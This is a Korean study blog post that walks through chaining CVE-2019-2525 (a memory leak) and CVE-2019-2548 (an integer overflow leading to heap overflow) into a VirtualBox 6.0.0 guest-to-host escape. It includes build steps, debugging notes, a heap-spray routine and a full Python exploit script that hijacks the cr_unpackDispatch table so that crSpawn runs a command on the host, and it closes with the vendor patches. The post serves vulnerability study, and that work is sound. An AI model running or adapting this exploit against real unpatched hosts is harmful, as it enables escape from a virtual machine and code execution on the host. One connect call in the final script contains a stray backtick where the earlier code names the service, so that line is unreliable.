ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [1-day] Virutalbox 6.0.0 Exploit (CVE-2019-2525 / CVE-2019-2548)
    # 시스템 해킹 공부중 2021. 3. 4. 21:48

    BoB 멘토님의 강의로 Virtualbox에서 발견된 두 개의 CVE에 대해 설명을 듣고 이를 Chaining해서 exploit 하는 방법에 대해 설명을 들었었다. CVE를 분석해보고 exploit 하는 과정을 남겨본다. 

    [zdi advisory]

    ZDI의 Advisory에서 Virtualbox를 검색해보면 (2019년 당시) 발견된 취약점들이 cr* 형태의 함수에서 발생한 것을 확인할 수 있다. 1-day는 아무래도 관련 정보들이 많은 대상을 선택하는게 비교적 쉽게 분석할 수 있다. 그렇기 때문에 취약점이 발생한 함수들을 검색해보거나 CVE 코드를 검색해서 정보를 수집한다. 'crUnpackExtendGetAttribLocation'을 검색해보면 f-secure에서 윈도우 환경에서 CVE-2019-2525와 CVE-2019-2548을 Chaining해 exploit 하는 방법에 대해 비교적 자세히 작성해둔 문서를 찾을 수 있다. 

    doc : labs.f-secure.com/assets/BlogFiles/offensivecon-2019-3d-accelerated-exploitation-jason-matthyser.pdf

    Virtualbox는 Opensource Project로 컴파일만 다르게 되었을 뿐 기본 소스코드는 같기때문에 다른 OS에서도 해당 취약점이 유효할 수 있다. 우리는 리눅스 환경(Ubuntu)에서 exploit을 재현해보도록 한다.

    1. 환경 구성

    본격적인 분석에 앞서서 분석 환경을 구성해야하는데 이 vbox를 build 하는게 만만치가 않다. 여러 시행착오 끝에 성공했던 방법을 남겨본다.

    env.
    Host OS : Ubuntu 16.04 64bit
    Guest OS : Ubuntu 16.04 64bit
    vbox version : 6.0.0 

    1. Virtualbox Build

    vbox는 https://download.virtualbox.org/virtualbox/6.0.0/ 여기서 VirtualBox-6.0.0.tar.bz 을 다운받아 Host OS에 압축을 풀어두면 된다.

    Host OS를 Ubuntu로 둬야하는데 외장하드가 있다면 파티션을 나눠서 거기에 Ubuntu를 설치하면 Host OS로 부팅이 가능하다.

    cd 명령어로 압축푼 디렉토리에 진입하고 아래 명령어들을 차례로 수행한다. Host OS의 환경에 따라서 다른 문제가 발생할 수도 있다. 

    sudo apt-add-repository ppa:beineri/opt-qt562-xenial
    sudo apt update
    sudo apt install qt56-meta-full
    sudo apt install libelf-dev publican
    ./configure --disable-hardening --with-qt-dir=/opt/qt56
    source ./env.sh
    kmk all
    cd ./out/linux.amd64/release/bin
    cp -r /opt/qt56/lib/* /usr/lib/x86_64-linux-gnu/
    
    sudo groupadd vboxusers 
    sudo usermod -a -G vboxusers [계정 이름]
    sudo ./vboxdrv.sh start
    sudo ./VirtualBox
    

    build된 vbox를 실행하기 위해선 vbox 커널모듈을 로드해야하기 때문에 ./vboxdrv.sh start 를 수행한 다음 실행해야된다. 

    [vbox-check]

     

    vbox가 정상적으로 실행되었다면 [도움말 - VirtualBox 정보]를 클릭했을 때 위와같은 그림이 뜬다. (일반 Release 버전으로 설치했을 경우 알파벳 캐릭터들이 존재하지 않는다.)

    이렇게 vbox build가 끝났다면 vbox에서 ubuntu 가상머신을 하나 만들어둔다. 여기까지 했을 때 Host OS가 Ubuntu이고 이 Host OS에 vbox가 build 되어있고 build된 vbox에 또 ubuntu가 설치되어 있으면 된다.

    2. 설정 및 라이브러리 설치

    우리가 볼 1-day는 vbox의 3d 원격 렌더링(3d 가속 기능)에서 발생하는 취약점이기 때문에 관련 설정을 살짝 해줘야한다. 

    [vbox-setting]

    vbox에 설치되어있는 Ubuntu 가상 머신 설정에서 디스플레이란에 Graphics controller를 'VBoxVGA'로 맞추고 아래에 '3차원 가속 사용하기'에 체크한다.

    그리고 Ubuntu 가상 머신을 부팅한 다음 Guest OS인 Ubuntu안에서 아래 명령어를 타이핑해 3dpwn 이라는 파이썬 라이브러리를 다운받아준다. 

    git clone https://github.com/niklasb/3dpwn.git

    3dpwn이 정확히 어떤 라이브러리 인지는 이어서 나올 chromium 라이브러리를 설명한 다음 하겠다. 여기까지 준비가 되면 vbox를 exploit 하기 위한 준비는 끝났다. 

    2. 사전 지식

    취약점을 분석하기 위해서는 vbox의 chromium library에 대해서 조금 알아야한다.

    The Chromium Library

    Chromium library 는 2,3차원 그래픽스 API인 OpenGL의 한 프로젝트였다. 현재 구글이 사용하는 chromium과는 다른 것이며(구글보다 먼저 이 이름을 사용한듯) 2008년을 기점으로 죽은 프로젝트인듯 하다. Client 구조로 3d remote rendering을 하기 위한 라이브러리이다. 특정 요청을 클라이언트에서 서버로 보내면 서버가 3d 연산을 수행한뒤 연산결과를 클라이언트로 응답해주는 방식이다. vbox에서는 이 chromium library를 채용해서 vbox의 입맛에 맞게 적용시켰으며 이 과정에서 HGCM(Host Guest Communication Manager)라는 프로토콜이 추가되었다. HGCM을 사용하면 Guest OS(Client) 에서 Host OS의 chromium 서버와 통신이 된다. 이 HGCM을 사용하는 vbox 서비스는 다음과 같다. 

    사실 이 3d 가속 기능은 VirtualBox에 도입될 때 실험적으로 도입된 기능으로 당시에 기능이 추가됐을 때는 성능은 좋았으나 vbox측에서도 워낙 복잡하다보니 안전성에 문제가 있을 수 있을 수 있어 기본값으로는 disable 돼있고 사용해보고 싶으면 따로 설정을 해서 사용하라고 설명이 되어있다. 
    VBoxSharedClipboard, VBoxDragAndDropSvc, VBoxSharedFolders, VBoxSharedCrOpenGL(*)

    이 중 우리가 주의깊게 볼 부분은 'VBoxSharedCrOpenGL' 서비스와 관련된 부분이다. 

    Chromium 통신을 하기 위해서는 리눅스 디바이스파일인 /dev/vboxguest, /dev/vboxuser을 이용해서 ioctl call로 드라이버 통신을 해야하는데 이 ioctl call을 하려면 맞춰줘야할 조건들이 복잡하다. 실제로 report를 할 때는 이렇게 일반적인 방법(?)으로 poc를 구성해야 하지만 우리는 지금 exploit을 테스트 해보는거라 좀 더 쉽게 통신할 수 있는 파이썬 라이브러리를 사용할 것이다. 그 라이브러리가 앞에서 git으로 설치한 '3dpwn'이다. 

    [crmessage struct]
    [crmessage sample]

    우리가 보내야하는 데이터의 형태는 위 [crmessage struct]와 같으며 아래는 이를 파이썬 코드로 나타낸 것이다. conn_id는 아무 값이나 줘도 정상적으로 동작한다. chromium 서버는 해당 메시지를 받으면 해당 opcode에 해당하는 함수를 cr_unpackDispatch 라는 함수 테이블에서 찾아 호출한다.

    CRVBOXSVCBUFFER_t

    CRVBOXSVCBUFFER_t

    위에서 봤던 crMessage 들을 처리하기 위한 버퍼링에 사용되는 이중연결리스트 구조체이다. Guest OS에서 crMessage를 만들어서 Host OS의 chromium 서버로 보내면 서버에서는 CRVBOXSVCBUFFER_t 구조체를 heap에 할당하고 이 구조체를 이용해서 crMessage 를 관리한다. 크기는 0x20byte이며 uiId를 이용해서 구조체에 접근하며 uiSize는 전송된 crMessage 데이터의 크기가 들어가며 crMessage의 데이터는 새로 할당된 heap 공간에 저장되고 pData에 그 주소값이 저장된다. 

    다시 잠시 HGCM프로토콜로 돌아가서 이 HGCM 프로토콜에서 사용할 수 있는 함수는 VBoxCrOpenGLSvc.h 에서 확인할 수 있는데 이 중 우리가 눈여겨 봐야할 함수는 SHCRGL_GUEST_FN_WRITE_BUFFER SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 이다. 이 함수들을 사용하기 위해 필요한 인자값들은 아래와 같다. (해당 함수를 Virtualbox 소스코드에서 검색해보면 인자값들을 확인할 수 있다)

    SHCRGL_GUEST_FN_WRITE_BUFFER 
    	param1 : buffer_id
    	param2 : buffer_size
    	param3 : offset
    	param4 : data
       
    SHCRGL_GUEST_FN_WRITE_READ_BUFFERED
    	param1 : buffer_id
    	param2 : ????
    	param3 : ????

    SHCRGL_GUEST_FN_WRITE_BUFFER 함수는 crMessage를 전송해서 앞에서 설명한 CRVBOXSVCBUFFER_t 공간을 할당하고 crMessage를 버퍼에 쓰는 역할을 한다. 

    SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 함수는 crMessage를 읽고 opcode에 맞는 함수를 실행한 다음 앞에서 할당한 공간을 free하는 역할을 한다. (param2,3은 소스코드를 보았으나 정확히 어떤 역할을 하는지 찾지못했고ㅠㅠ 적당히 아무값을 넣어도 동작해서 물음표로 두었다)

    3dpwn

    우리는 이 crMessage를 만들어서 HGCM 프로토콜을 이용해서 버퍼를 쓰고 동작시키고 해제하는 작업을 반복해야하는데 이를 편리하게 할 수 있는 도구로 '3dpwn'이 존재한다. 3dpwn을 사용할 때는 hgcm_connect, hgcm_call, crmsg, alloc_buf 이렇게 4개의 함수만 알아도 충분히 exploit 을 할 수 있다.

    client = hgcm_connect("VBoxSharedCrOpenGL") # VBoxSharedCrOpenGL서비스와 HGCM 연결
    hgcm_call(client,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf,"A",0]) # SHCRGL_GUEST_FN_WRITE_READ_BUFFERED(buf,"A",0) 실행
    
    # crmessage 버퍼 할당
    def alloc_buf(client, sz, msg='a'):
        buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
        return buf
       
    # crmessage 버퍼 할당 + 실행 + 버퍼 해제 + hgcm_call 응답 return
    def crmsg(client, msg, bufsz=0x1000):
        ''' Allocate a buffer, write a Chromium message to it, and dispatch it. '''
        assert len(msg) <= bufsz
        buf = alloc_buf(client, bufsz, msg)
        # buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, bufsz, 0, msg])
        _, res, _ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, "A"*bufsz, 1337])
        return res

    3. CVE 분석

    CVE-2019-2525

    - Infomation disclosure in crUnpackExtendGetAttribLocation function

    [crUnpackExtendGetAttribLocation]

    해당 취약점은 crUnpackExtendGetAttribLocation 이라는 함수에서 발생했으니 해당 소스코드를 확인해보면 위 그림과 같다. READ_DATA는 매크로함수로 crMessage에서 data 영역에서 값을 가져온다. 예를들어 READ_DATA(0,int); 는 위 [crmessage struct]에서 'Data for opcode 1' 에 해당하는 데이터를 int 크기만큼 가져온다는 의미다. 이 데이터는 packet_length 라는 변수에 저장되고 이 값을 이용해서 SET_RETURN_PTR과 SET_WRITEBACK_PTR을 호출한다.

    [set_return_ptr & set_writeback_ptr]

    두 함수를 살펴보면 offset을 전달받아서 cr_unpackData + offset 곳의 데이터를 각각 return_ptr, writeback_ptr로 복사한다. packet_length은 우리가 제어할 수 있으며 따로 검증하는 작업을 하지 않아서 취약점이 발생했다고 예상할 수 있다. 어떻게 동작하는지 확인하기 위해 해당 함수에 packet_length를 임의로 주고 한번 호출해보도록 한다.

    import time
    import sys,os
    from struct import pack, unpack
    sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
    from chromium import *
    
    def leak_msg(offset):
        msg = (
                pack("<III",CR_MESSAGE_OPCODES, 0x41414141,1)
                + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                + pack("<I", offset)
                + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                + pack("<I", 0x42424242))
        return msg
    
    if __name__ == '__main__':
        client = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(client)
        print "Wait 3s.."
        time.sleep(3)
        leak = crmsg(client,leak_msg(16))
        print hex(unpack("<Q",leak[0:8])[0])
        print hex(unpack("<Q",leak[8:16])[0])
        print hex(unpack("<Q",leak[16:24])[0])

    나는 SET_RETURN_PTR의 인자로 0을 넘기고 싶어서 16을 packet_length 값으로 전달했고 리턴값을 8byte씩 3번 출력해보았다. 해당 코드는 Guest OS 안에서 실행해야한다. 디버깅을 위해서 Host OS쪽에서 gdb -p `pidof VirtualBoxVM` 로 실행중인 vbox에 gdb를 attach한다. attach 하고나서 Ctrl+C를 누르면 중간에 break가 걸리고 bp를 걸 수 있는데 crUnpackExtendGetAttribLocation+49에 걸어주고 'c' 명령어로 continue를 해준다. 해당 위치는 SET_RETURN_PTR의 crMemcpy 위치에 해당한다. 

    위 코드에서 중간에 time.sleep(3)을 넣어준 이유는 해당 코드가 실행되면 gdb에서 bp가 걸리는데 포커스가 Guest에 있는 상태에서 bp가 걸리면 빠져나오지 못하는 경우가 생겨서 포커스를 HostOS로 움직이기 위해 잠시 delay를 주었다.  

    [gdb]

    위 그림은 파이썬 코드가 실행되고 Host OS에서 gdb에 bp가 걸린 상태이다. crMemcpy의 두번째 인자는 현재 cr_unpackData + 0 으로 두번째 인자에 해당하는 rsi 값을 따라가보면 opcode + offset + subopcode + dummy 값이 저장 되어있는 것을 확인할 수 있다.

    [print return value]

    값을 확인하고 continue를 해주면 위와같이 출력이 된다. crMessage의 리턴값중 8~16byte에 해당하는 부분이 앞에서 gdb로 본 cr_unpackData + 8 위치에 있는 값이 출력되었고 16~24byte에 해당하는 부분은 첫 8byte가 출력된 것을 확인할 수 있다. 즉 우리는 packet_length 값을 통해서 memory arbitrary read를 할 수 있게된다. 

    [find-address]

    나중에 함수 주소 계산을 위한 의미있는 데이터를 찾기 위해 packet_length는 0으로 두고 crUnpackExtendGetAttribLocation+49 에 break를 한 다음 탐색을 했다.

    $rsi에서 -0x9f8에 vtable 처럼 여러 함수들의 주소값들이 있는걸 확인했고 -0x9f8+8 위치에 있는 값(crVBoxHGCMAlloc함수 주소)을 leak 하기 위해서 packet_length가 -0x9e8이 되도록 했다. 

    [leak address]

    다시 실행해보면 crVBoxHGCMAlloc 함수의 주소가 leak 되는 것을 확인할 수 있다. 이 값을 이용해 나중에 필요한 함수와 offset을 알아내면 그 함수의 실제 주소를 알아낼 수 있다. 

    CVE-2019-2548

    - Integer Overflow in crServerDispatchReadPixels lead to heap Overflow

    [crServerDispatchReadPixels]

    이 취약점은 crServerDispatchReadPixels 함수에서 발생한 취약점으로 위 코드에서 볼 수 있듯이 msg_len에서 Integer overflow가 발생한다. 곱하는 두 변수를 따로 검증하면서 우회 포인트가 발생하였다. 그리고 바로 아래에보면 msg_len 길이만큼 heap 공간을 할당하는데 이 때 해당 공간은 애초에 sizeof(*rp)보다 같거나 큰 경우에 대해서만 생각하고 있기 때문에 만약 0x38보다 작은 공간이 할당된다면 heap overflow가 될 수 있다.

    [rp values]

    실제로 crServerDispatchReadPixels 함수에서 아래로 계속 이어서 보면 할당받은 공간에 값을 쓰는것을 확인할 수 있고 마지막 pixels 값까지 총 0x38byte를 쓰는 것을 확인할 수 있고 이는 앞에서 msg_len을 0x38보다 작게 조작했을 때 heap overflow로 이어지게 된다. 

    [crUnpackReadPixels]

    해당 함수를 호출하기 위해서는 opcode로 CR_READPIXELS_OPCODE를 줘야하고 opcode에 대한 데이터는 위 이미지를 참조해서 crMessage를 구성해주면 된다. 

    Senario

    1.crMessage 를 0x20크기만큼 스프레이(CRVBOXSVCBUFFER_t+crMessage가 스프레이됨)
    2.그리고 짝수 혹은 홀수번째 Box들 Free
    3.Readpixels 를 인티져 오버플로를 통해 0x20만큼 할당
    4.할당된 버퍼는 0x20이지만 실제로 쓰는 값은 0x38 이므로 0x18만큼 다음 chunk의 데이터를 덮어쓸 수 있음
    5.그러면 할당되어있는 Box의 buffer_id와 size값을 임의로 수정할 수 있음
    6.buffer_id를 이용해서 임의의 공간에 쓰기 가능

    [senario]

    시나리오를 그림으로 나타내면 위와 같다. free할 때는 굳이 모든 스프레이된 공간에 대해서 짝수 혹은 홀수번째 공간을 free 할 필요없이 일부분까지만 해도 된다.(오래전에 분석했던거라 잘 기억은 안나지만 아마 spray 된 heap 중 중간에 하나만 free 해줘도 공격에 성공했던 것 같다)

    주의해야할 점은 heap이 할당할 때 그림 처럼 데이터 영역만 있는게 아니라 heap header도 같이 0x10byte 만큼 추가로 존재한다는 사실을 기억해야하며 payload를 작성할때도 유의해야한다. 

    https://labs.f-secure.com/assets/BlogFiles/offensivecon-2019-3d-accelerated-exploitation-jason-matthyser.pdf

    f-secure 문서에 이쁜 그림이 있어서 가져왔다. empty memory가 앞에서 free한 공간이고 오른쪽이 free된 공간에 readpixels 메시지가 할당되어 들어가고 heap overflow로 다음 chunk에 있던 CRVBOXSVCBUFFER_t 의 uiId와 uiSize 부분이 덮힌걸 볼 수 있다. 

    이렇게 메모리를 구성하기 위해선 우선 앞에서 본 msg_len 값을 0x20으로 맞춰줘야하는데 그렇게 만들기 위한 bytes_per_row값과 height값을 구한다. 

    msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height;
    0x20 = 0x38 + bytes_per_row * height

    계산해보면 UINT32_MAX / 8 이 1FFF FFFF‬ 이고, 이보다 크면 안되기 때문에 1씩 줄여가면서 height 값을 구하면 된다. 이렇게 구해보면 bytes_per_row는 0x1FFFFFD, height는 8이 되면 msg_len은 0x20이 된다. 

    Heap Spray

    heap = []
    for _ in range(0x501):
    	heap.append(alloc_buf(client,0x20, "D"*0x20))
    heap = heap[::-1]
    print "Heap : "+  str(hex(heap[0]))
    print "[I] Free heap..."
    for buf in heap[1:0x100:2]:
    	hgcm_call(client,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf,"A",0])
    crmsg(client,make_readpixels())

    3dpwn의 alloc_buf를 이용해서 0x20크기의 cr_message를 0x501만큼 할당시킨다. 그러면 0x20크기의 CRVBOXSVCBUFFER_t와 0x20크기의 "D"x20 데이터 공간이 만들어져서 heap 공간 쭉 스프레이된다. 연속적으로 할당된 heap 공간을 반대순서로 중간중간 비어있도록 해제한다. (할당된 heap의 첫번째 공간은 CRVBOXSVCBUFFER_t와 pData 영역이 따로 할당되었다) 해제는 hgcm_call을 이용해서 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED를 호출한다. 

    [readpixels crMessage]

    그리고 overwrite가 정상적으로 되는지 테스트하기 위해 위와같이 readpixels message를 만들어서 전송한다. format 위치에 0x35를 넣은 이유는 overwrite 할 chunk의 heap header에 size 값을 똑같이 유지해주기 위함이다. 제일 마지막줄은 pixels에 들어갈 값이다. 

    [before heap overflow]

    여기까지가 heap spray를 잔뜩 해뒀을 때의 메모리 모습이다. CRVBOXSVCBUFFER_t와 pData 영역이 번갈아가면서 존재하는걸 볼 수 있다. 

    gdb에서 디버깅할 때 parseheap과 같은 heap 명령어는 vbox의 heap 공간이 워낙 방대하기 때문에 분석하기 어렵다. 대신에 search –t qword “0xffffffffdeadbeef” 와 같이 검색하면 해당 값이 들어있는 메모리 공간들을 찾아서주기 때문에 비교적 쉽게 디버깅할 수 있다.

    [after heap overflow]

    이제 스프레이한 heap들 중에서 짝수번(혹은 홀수번) 버퍼들을 free한 뒤에 cve-2019-2548을 이용해서 heap overflow를 한 모습이다. 마지막 8byte가 overflow되면서 원래 있던 정상 버퍼의 uiId와 uiSize부분이 덮힌것을 확인할 수 있다. 이제 우리는 0xdeadbeef 라는 uiId로 해당 버퍼공간에 접근할 수 있고 size가 0xffffffff가 되어서 모든 메모리에 접근이 가능해진다. 

    이 0xdeadbeef 버퍼를 활용해서 우리는 또 다른 버퍼의 uiId와 uiSize그리고 pData의 주소값을 덮어쓴다면 해당 uiId로 원하는 곳에 쉽게 값을 쓸 수 있다. 

    4. Let's exploit

    이제 CVE-2019-2525와 CVE-2019-2548을 분석하고 각각을 어떻게 활용할지 알았기 때문에 본격적으로 exploit을 하면된다. 

    crSpawn

    [crSpawn]

    crSpawn은 command를 입력받고 해당 command로 execvp를 호출하기 때문에 vbox exploit에서 주로 사용되는(?) 함수이다. crSpawn은 cr_unpackDispatch에 존재하는 함수중 하나이며 이 함수를 우리가 직접적으로 호출할 수 있는 방법은 없다. 왜냐하면 우리는 지금 crMessage의 opcode가 존재하는 함수에 한해서만 함수 호출을 할 수 있기 때문이다. 

    그렇기 때문에 우리가 exploit 하기 위해선 opcode로 호출가능한 함수중 이 crSpawn과 인자값을 비슷하게 받는 함수를 찾아서 함수테이블에서 해당 함수의 주소를 crSpawn으로 바꾸고 opcode를 이용해서 호출하는 방법을 사용할 수 있다. gdb에서 cr_unpackDispatch 테이블을 살펴보거나 소스코드에서 검색해보면 crServerDispatchBoundsInfoCR 라는 함수가 우리가 원하는 조건과 비슷하다는걸 알 수 있다. 

    [crServerDispatchBoundsInfoCR]
    [cr_unpackDispatch]

    gdb로 보면 <cr_unpackDispatch+216> 에 해당 함수의 주소가 저장되어있는 것을 확인할 수 있다. 즉 이 위치에 crSpawn 함수의 주소를 넣고 crServerDispatchBoundsInfoCr을 호출하면 crSpawn이 호출될 것을 예상할 수 있다.

    Exploit senario

    1. CVE-2019-2525로 crVBoxHGCMAlloc 함수의 주소를 구한다.
    2. crVBoxHGCMAlloc 함수 주소를 이용해서 crServerDispatchBoundsInfoCR, crSpawn,함수의 주소와 cr_unpackDispatch 테이블의 주소를 구한다.
    3. heap spray를 하고 띄엄띄엄 free 시킨다. 
    4. CVE-2019-2548로 heap overflow를 일으켜서 버퍼의 uiId와 uiSize를 각각 0xdeadbeef, 0xffffffff로 덮어쓴다.
    5. 0xdeadbeef를 이용해서 해당 버퍼 다음에 있는 버퍼의 uiId와 uiSize, pData를 각각 0xcafebabe, 0xffffffff, cr_unpackDispatch+216(crServerDispatchBoundsInfoCr 의 주소가 저장되어 있는곳) 으로 덮어쓴다.
    6. 0xcafebabe를 이용해서 crSpawn 주소를 덮어쓴다
    7. 다시 0xdeadbeef를 이용해서 해당 버퍼 다음에 있는 버퍼의 uiId와 uiSize, pData를 0xcafebabe, 0xffffffff, cr_unpackDispatch로 덮는다
    8. 0xcafebabe를 이용해서 우리가 쓸 command인 "xcalc"를 덮어쓴다. (crSpawn의 인자로 문자열의 주소를 입력해줘야 하기 때문에 적당한 곳에 "xcalc"라는 문자열을 쓰기 위해서 이런 작업을 함)
    9. crServerDispatchBoundsInfoCR 를 opcode로 호출한다. 

    [crUnpackBoundsInfoCr]

    BoundsInfoCR에 대한 crMessage를 구성하기 위해선 위 코드를 참조하면 된다. bounds 부분에 "xcalc" 문자열이 들어가고(&bounds가 인자로 전달됨) payload 부분에 "xcalc" 문자열의 주소(cr_unpackDispatch) 를 넣어서 보내면 된다. 

    Full exploit code

    import time
    import sys, os
    from struct import pack, unpack
    print os.path.dirname(__file__)
    sys.path.append("./3dpwn/lib")
    from chromium import *
    
    def leak_msg(offset):
        msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
                + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                + pack("<I", offset)
                + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                + pack("<I", 0x42424242))
        return msg
    
    def make_readpixels():
        msg = (pack("<III",CR_MESSAGE_OPCODES,0x43434343,1)
                + '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
                + pack("<IIII",0x00,0x00,0x00,0x08) # x, y, w, h
                + pack("<IIII",0x35,0x00,0x00,0x00) # format, type, stride, align
                + pack("<IIII",0x00,0x00,0x1FFFFFFD,0x00) # skipR, skipPix, byteperrow
                + pack("<III",0xdeadbeef,0xffffffff,0x00) # Netpointer
                )
        return msg
    
    def call_crSpawn(addr):
        msg =(pack("<III",CR_MESSAGE_OPCODES,0x61616161,1)
                + "\x00\x00\x00" + chr(CR_BOUNDSINFOCR_OPCODE)
    #            + pack("<IQ",0x00,int("xcalc".encode("hex"),16))
                + pack("<IQ",0x00,0x636c616378)
                + pack("<III",0x00,0x00,0x00)
                + pack("<Q",addr)
                )
        return msg
    
    if __name__ == "__main__":
        client = hgcm_connect("`")
        set_version(client)
        print "Wait..3 seconds.."
        time.sleep(3)
        address = crmsg(client, leak_msg(0xfffff618))
        crVBoxHGCMAlloc = unpack("Q",address[8:16])[0]
        crServerDispatchBoundsInfoCR = crVBoxHGCMAlloc + 2435648
        cr_unpackDispatch = crVBoxHGCMAlloc + 5463632
        crSpawn = crVBoxHGCMAlloc - 49504
    
        print "[*] CRVBoxHGCMAlloc : "+hex(crVBoxHGCMAlloc)
        print "[*] crSpawn : " +hex(crSpawn)
    
        print "[I] Heap Spraying..."
        heap = []
        for _ in range(0x501):
            heap.append(alloc_buf(client,0x20, "D"*0x20))
        heap = heap[::-1]
        raw_input("after alloc")
        print "Heap : "+  str(hex(heap[0]))
        raw_input("before Free")
        print "[I] Free heap..."
        for buf in heap[1:0x100:2]:
            hgcm_call(client,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf,"A",0])
        raw_input("after Free")
        crmsg(client,make_readpixels())
        raw_input("after readpixels")
        #cr_unpackDispatch+216 ==> crServerDispatchBoundsInfoCR
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER,[0xdeadbeef,0xffffffff,0x90,pack("<II",0xcafebabe,0xffffffff)+pack("<Q",cr_unpackDispatch+216)])
        raw_input("after overwrite next chunk to cafebabe")
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER,[0xcafebabe,0xffffffff,0x00,pack("<Q",crSpawn)])
        raw_input("after overwrite crServerDispatchBoundsInfoCr to crSpawn")
        # 0xcafebabe's pData overwrite to cr_unpackDispatch+0
        hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,[0xdeadbeef,0xffffffff,0x98,pack("<Q",cr_unpackDispatch)])
        raw_input("after cafebabe's pdata to cr_unpackDispatch+0")
        # write xcalc string on cr_unpackDispatch+0
        hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,[0xcafebabe,0xffffffff,0x00,"xcalc"])
        raw_input("after overwrite cr_unpackdispatch to xcalc")
        print "[*] cr_unpackDispatch : "+hex(cr_unpackDispatch)
        crmsg(client,call_crSpawn(cr_unpackDispatch))
        print "Done."
    

    취약점 패치

    [CVE-2019-2525 patch]
    [CVE-2019-2525 patch]
    [CVE-2019-2548 patch]

    다음 버전에서 패치된 코드를 보면 crUnpackExtendGetAttribLocatoin 함수에서 packet_length의 범위를 검사하는 로직을 추가했고 crServerDispatchReadPixels 함수에서도 bytes_per_row와 height의 범위 검사를 수정해서 취약점을 패치했다.

    댓글

Designed by Tistory.